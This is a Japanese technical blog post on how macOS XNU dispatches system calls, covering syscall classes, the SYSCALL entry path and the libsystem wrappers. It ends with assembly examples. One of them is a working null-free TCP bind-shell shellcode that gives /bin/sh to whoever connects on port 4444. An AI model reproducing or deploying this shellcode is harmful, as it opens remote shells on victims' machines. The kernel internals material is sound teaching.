LoginSignup
8
9

More than 3 years have passed since last update.

macOSのシステムコールを詳しく見たかった

Last updated at Posted at 2019-12-01

これはmacOS(XNU)Advent Calendar 初日の記事です
間違い等ありましたら, ご指摘お願い仕ります.

SYSCALL_CLASS_*

macOSのカーネルであるXNUはハイブリッドカーネルであるため, 実際のカーネル部分(Mach)は, 必要最低限の機能しか提供しません(例えば, 仮想メモリやtaskのスケジューリング, IPC機能など).
このMachレイヤーの上に, FreeBSDの流れを汲んだコンポーネント1などが搭載され, XNUが構成されています.
macOSはUNIXであり, x86_64 SYSV ABIに則った形でfork(2), read(2), open(2), socket(2)などといったシステムコールを用いて, ユーザモードからカーネルのAPIを用いることができます.
しかしながら, これらUNIXシステムコールの他に, その下に位置するMachとインタラクトするシステムコールも存在し2, さらにはアーキテクチャ依存のもの(Machine dependent → Machdep), そして診断目的(Diagnostic)のものまで用意されています. すなわち, XNUには4つのシステムコール・クラスが存在していることになります.

ご存知の通り, x86_64でシステムコールを使う(Ring-3からRing-0へ行く)際は, SYSCALL命令が唯一の(?)3入り口であり, このCPU命令が発行されると, %RCXにユーザ空間の%RIPが, %R11%RFLAGSが保存され, あらかじめWRMSR命令で設定された, 0xC0000082番(IA32_LSTAR)のMSRに保存されているアドレスへジャンプします.
これは, 上に挙げたどのクラスのシステムコールを試みても, SYSCALLでたどり着くアドレスは同じであること意味します. もちろん, システムコールの(おおまかな)目的が異なるのですから, 最終的にはそれぞれ違ったルーティンへと飛ばしてやらなければいけません.
i386の時代は, ソフトウェア割り込みINT命令のオペランドに, それぞれ異なる値(0x80, 0x81, 0x82, 0x83)を入れてやればよかったのですが, オペランドをとらないSYSCALLでは残念ながらそうもいきません.
XNUはこれを処理するため, それぞれのクラスに1から4までの番号を割り振っています. これはXNUのソースのosfmk/mach/i386/syscall_sw.hで確認できます.

#define SYSCALL_CLASS_NONE  0   /* Invalid */
#define SYSCALL_CLASS_MACH  1   /* Mach */  
#define SYSCALL_CLASS_UNIX  2   /* Unix/BSD */
#define SYSCALL_CLASS_MDEP  3   /* Machine-dependent */
#define SYSCALL_CLASS_DIAG  4   /* Diagnostics */
#define SYSCALL_CLASS_IPC   5   /* Mach IPC */

NONEIPCは無視して構いません. SYSCALL_CLASS_UNIXを例にとりましょう.
ユーザ空間からUNIXシステムコールを呼びたい場合, システムコール番号を格納する%RAXレジスタにはまず, 2 << 24 = 0x2000000が入ります. この24という数値は, 同じファイルに定義された, SYSCALL_CLASS_SHIFTというマクロです.
次に各システムコールの, 本来のシステムコール番号と%RAXを論理和に取ります. この番号はXNUソース内bsd/kern/syscalls.masterおよび, macOS内の/path/to/MacOSX.sdk/usr/include/sys/syscall.hにて確認できます 4.

例えばwrite(2)なら番号は4ですから, SYSCALL命令時の%RAXの値は(0x2 << 24) | 4 = 0x2000004になります.
もちろんこんなまわくどいことをせずに, MOVL $0x2000004, %EAXとしてもいいわけです.
あとは他のUN*Xシステムと同様に, %RDI, %RSI, %RDX, %R10, %R8, %R9レジスタに引数を入れてSYSCALL命令を発行することになります.
ちなみに, Linuxはx86_64システムコールの引数はレジスタ渡しで6つまでという決まりがありますが, macOSでは普通の関数呼び出しと同様に, スタックにもう2つ引数を取ることができます 5(#447 connectx(2)など).

SYSCALLから先はどうなっているか

次にSYSCALL命令は, WRMSRで指定された, hi64_syscallに飛びます.
ここからJMPを繰り返し,

hi64_syscall
L_dispatch
ks_dispatch
ks_dispatch_user
L_dispatch_64bit
L_common_dispatch
hndl_syscallへと辿り着きます.

またL_dispatch_64bit内では, ユーザ空間からレジスタを通して渡されたシステムコールの引数を含む汎用レジスタの値が, x86_saved_state_tの形式に沿うようにスタックに積まれていき, その構造体にはメモリアドレス(%R15)を通してアクセスすることができます.

ここで先程左シフトされていたSYSCALL_CLASS_*CMPされ, それぞれのクラスを司る関数シンボルへとジャンプすることになります.

    /*
     * We can be here either for a mach, unix machdep or diag syscall,
     * as indicated by the syscall class:
     */
    movl    R64_RAX(%r15), %eax     /* syscall number/class */
    movl    %eax, %edx
    andl    $(SYSCALL_CLASS_MASK), %edx /* syscall class */
    cmpl    $(SYSCALL_CLASS_MACH<<SYSCALL_CLASS_SHIFT), %edx
    je  EXT(hndl_mach_scall64)
    cmpl    $(SYSCALL_CLASS_UNIX<<SYSCALL_CLASS_SHIFT), %edx
    je  EXT(hndl_unix_scall64)
    cmpl    $(SYSCALL_CLASS_MDEP<<SYSCALL_CLASS_SHIFT), %edx
    je  EXT(hndl_mdep_scall64)
    cmpl    $(SYSCALL_CLASS_DIAG<<SYSCALL_CLASS_SHIFT), %edx
    je  EXT(hndl_diag_scall64)

UNIXシステムコール(SYSCALL_CLASS_UNIX)の場合, hndl_unix_scall64へ次の制御が移ります. ここで, 関数unix_syscall64が引数%R15と共に呼び出され, ようやくアセンブリの世界からCの世界へと抜け出します. 他のクラスも似たような処理を通じて, Cで書かれたコードへ制御が移ります. 今回はここから先の処理については触れません.

ライブラリのラッパー関数を見る

ライブラリ内の実装を確認してみましょう. Command Line ToolsあるいはXcodeをインストールすると, 逆アセンブルコマンドのotoolが使えるようになります. /usr/lib/system/libsystem_kernel.dylibからwrite(2)を探してみると,

% otool -arch x86_64 -xvV /usr/lib/system/libsystem_kernel.dylib | grep "^_write:$" -A8
_write:
0000000000004050    movl    $0x2000004, %eax
0000000000004055    movq    %rcx, %r10
0000000000004058    syscall
000000000000405a    jae 0x4064
000000000000405c    movq    %rax, %rdi
000000000000405f    jmp _cerror
0000000000004064    retq
_rename:

macOS 10.15でi386バイナリが実行できなくなりましたが, 相変わらず共有ライブラリ(dylib)はFatバイナリのままです. それはさておき, 0x4050では先述のとおり, %RAX(または%EAX)レジスタに先程の論理和がMOVされています.

余談ですが, write(2)は引数が3つで%R10レジスタは使われないのに, このラッパーライブラリ関数に渡された(とLibcが思い込んでいる)%RCX内の引数が%R10MOVされています.
基本的にApple Libcは, 引数の個数にかかわらず, "第4引数"のMOVを行うみたいです. 記憶が正しければ, Glibcは引数の個数4つ以上かを判定して, このMOVをしていた気がするのですが… 6

閑話休題

SYSCALL_CLASS_MACHの場合も同様です. 名の知れた(?)Mach trapの一つに, BSDレイヤーにおけるPIDに対応するtask portを返す, task_for_pidというものがあります. 同じく, otoolで探してみると…

% otool -arch x86_64 -xvV /usr/lib/system/libsystem_kernel.dylib | grep "^_task_for_pid:$" -A6
_task_for_pid:
00000000000012f8    movq    %rcx, %r10
00000000000012fb    movl    $0x100002d, %eax
0000000000001300    syscall
0000000000001302    retq
0000000000001303    nop
_pid_for_task:

%EAXレジスタに(SYSCALL_CLASS_MACH << SYSCALL_CLASS_SHIFT) | 0x2dが入っていることがわかるかと思います.

Machdep callについて

x86_64 macOS 10.15.1では, 以下のシステムコール番号が有効となっています.

番号 システムコール名
0 hv_task_trap
1 hv_thread_trap
3 _thread_set_tsd_base
5 i386_set_ldt
6 i386_get_ldt

この内, 5と6はi386のdeprecationに伴って, i386用のmachdep callからポートされたものと考えられます. 正確な時期はわかりませんが, macOS 10.14.xまでは, 5と6の番号は割り当てられていませんでした.

次は0と1に注目してください. hv_*とあるように, これらのシステムコールは, Hypervisor.frameworkに関するものです. Intel VT-xを利用するためには特権命令であるVMX命令を発行する必要がありますから, SYSCALLでプロテクションリングの内部へと入ることになります.

詳しくは, 次回以降の記事にて覗いてみることにします. 興味のあるmacOSユーザの方は, otool/System/Library/Frameworks/Hypervisor.framework/Hypervisorを逆アセンブルして, SYSCALL命令発行の周辺で何が起きているかをご覧になってみてください.

SYSCALLの使い方の例

プログラム例を挙げるのを忘れていました. すみません.

CPUIDのベンダ表示

cpuid.s
// clang -o cpuid cpuid.s 
.section __TEXT,__text
.globl _main
_main:
  xorl %eax, %eax
  cpuid
  leaq output(%rip), %rsi
  movl %ebx, 12(%rsi)   // 0x756e6547 == "Genu"
  movl %edx, 16(%rsi)   // 0x49656e69 == "ineI"
  movl %ecx, 20(%rsi)   // 0x6c65746e == "ntel"
  movb $2, %al          // SYSCALL_CLASS_UNIX
  shll $24, %eax        // SYSCALL_CLASS_SHIFT
  orl $4, %eax          // SYS_write
  xorl %edi, %edi
  movb $1, %dil         // STDOUT_FILENO
  xorl %edx, %edx
  movb $26, %dl         // buffer size to write
  syscall

  movb $2, %al          // SYSCALL_CLASS_UNIX
  shll $24, %eax        // SYSCALL_CLASS_SHIFT
  orl $1, %eax          // SYS_exit
  xorl %edi, %edi       // EXIT_SUCCESS
  syscall

.section __DATA,__data
output:
  .ascii "Vendor ID: 'xxxxxxxxxxxx'\n"

TCP bind shell

MOVL $0x2000004, %EAXのように明示的に即値を代入してしまうと, shellcodeには0x00が含まれてしまうため, fgets(3)などでペイロードを流し込む際にそこで入力が終了するとみなされてしまいます.
これを避けるために, SETUP_RAXというマクロを用いています.

bindshell.s
/*
 * Null-free TCP/4444 bind shell for macOS in 168 bytes.
 * 
 * % uname -v
 * Darwin Kernel Version 19.0.0: Thu Oct 17 16:17:15 PDT 2019; root:xnu-6153.41.3~29/RELEASE_X86_64
 * % sw_vers
 * ProductName: Mac OS X
 * ProductVersion:  10.15.1
 * BuildVersion:    19B88
 * % clang -o bindshell bindshell.s
 * % ./bindshell & ; nc 127.0.0.1 4444
 */
#include <sys/syscall.h>

#define STACKSZ 64
#define BINSH 0x68732f2f6e69622f
#define SETUP_RAX(n) \
  xorl %eax, %eax ; \
  movb $2, %al ; \
  shll $24, %eax ; \
  orl $(n), %eax

.section __TEXT,__text
.globl _main
_main:
/*
  pushq %rbp
  movq %rsp, %rbp
  subq $(STACKSZ), %rsp
*/

  /* addr @ -16(%rbp) */
  movb $2, -15(%rbp)
  movw $0x5c11, -14(%rbp)   // htons(4444)
  xorl %eax, %eax
  movl %eax, -12(%rbp)

  /* socket(AF_INET, SOCK_STREAM, 0); */
  xorl %edx, %edx
  movl %edx, %esi
  movl %edx, %edi
  movb $1, %sil
  movb $2, %dil
  SETUP_RAX(SYS_socket)
  syscall
  movl %eax, -20(%rbp)      // sockfd

  /* bind(sockfd, (struct sockaddr *)&addr, sizeof(addr)); */
  xorl %edx, %edx
  movb $16, %dl
  leaq -16(%rbp), %rsi
  movl -20(%rbp), %edi
  SETUP_RAX(SYS_bind)
  syscall

  /* listen(sockfd, 0); */
  xorl %esi, %esi
  movl -20(%rbp), %edi
  SETUP_RAX(SYS_listen)
  syscall

  /* accept(sockfd, NULL, NULL); */
  xorl %edx, %edx
  xorl %esi, %esi
  movl %esi, -28(%rbp)      // (int i) for later use
  movl -20(%rbp), %edi
  SETUP_RAX(SYS_accept)
  syscall
  // movl %eax, -24(%rbp)      // connfd

  /* dup2(connfd, 0); dup2(connfd, 1); dup2(connfd, 2); */
  xorl %esi, %esi
  movl %eax, %edi
L0:
  SETUP_RAX(SYS_dup2)
  syscall
  incb %sil
  cmp $3, %sil
  jl L0

  /* execve("/bin/sh", NULL, NULL); */
  xorl %eax, %eax
  movl %eax, -32(%rbp)

  movabsq $(BINSH), %rax
  movq %rax, -40(%rbp)

  xorl %edx, %edx
  xorl %esi, %esi
  leaq -40(%rbp), %rdi
  SETUP_RAX(SYS_execve)
  syscall
  /* The code doesn't reach here */

参考文献

Levin, J. (2013). Mac OS X and iOS Internals. John Wiley & Sons, pp.266-284. [online] Available at: http://newosxbook.com/MOXiI.pdf


  1. derived from FreeBSDみたいなことが言いたかった 

  2. しばしばMach trapと呼ばれ区別される 

  3. ちょっと自信ない 

  4. Catalinaの場合. Mojaveまでは, 場合により/usr/include/sys/syscall.hが存在している 

  5. なお8引数だとindirect syscallは使えない模様(deprecatedだからしょうがない) 

  6. 1命令で実行時間に大した影響があるわけではないんでしょうけど 

8
9
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
8
9